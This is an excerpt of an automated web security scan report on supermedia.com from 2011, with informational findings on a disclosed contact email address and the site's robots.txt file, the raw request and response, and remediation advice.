<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<title>Direct Mail Postcards | SuperMedia.com Advertising</title>
...[SNIP]... <!-- By use of this code snippet, I agree to the Brightcove Publisher T and C found at http://corp.brightcove.com/legal/terms_publisher.cfm. -->
...[SNIP]... <!-- By use of this code snippet, I agree to the Brightcove Publisher T and C found at http://corp.brightcove.com/legal/terms_publisher.cfm. -->
...[SNIP]... <!-- SMLocal By use of this code snippet, I agree to the Brightcove Publisher T and C found at http://corp.brightcove.com/legal/terms_publisher.cfm. -->
<script type="text/javascript" src="http://admin.brightcove.com/js/BrightcoveExperiences.js"></script> ...[SNIP]... <!-- Reporting By use of this code snippet, I agree to the Brightcove Publisher T and C found at http://corp.brightcove.com/legal/terms_publisher.cfm. -->
<script type="text/javascript" src="http://admin.brightcove.com/js/BrightcoveExperiences.js"></script> ...[SNIP]... <!-- By use of this code snippet, I agree to the Brightcove Publisher T and C found at http://corp.brightcove.com/legal/terms_publisher.cfm. -->
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
...[SNIP]... <br> If you have any questions about security on This Website, you can send us an email at spinfo@SuperMedia.com or contact Client Care at 1- 800-555-4833, Monday-Friday, 7am to 8pm CST. </p> ...[SNIP]...
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: www.supermedia.com
Response
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 17:05:23 GMT Content-length: 223 Content-type: text/plain Last-modified: Thu, 07 Jan 2010 20:46:20 GMT Accept-ranges: bytes Connection: close Set-Cookie: NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139f45525d5f4f58455e445a4a423660;path=/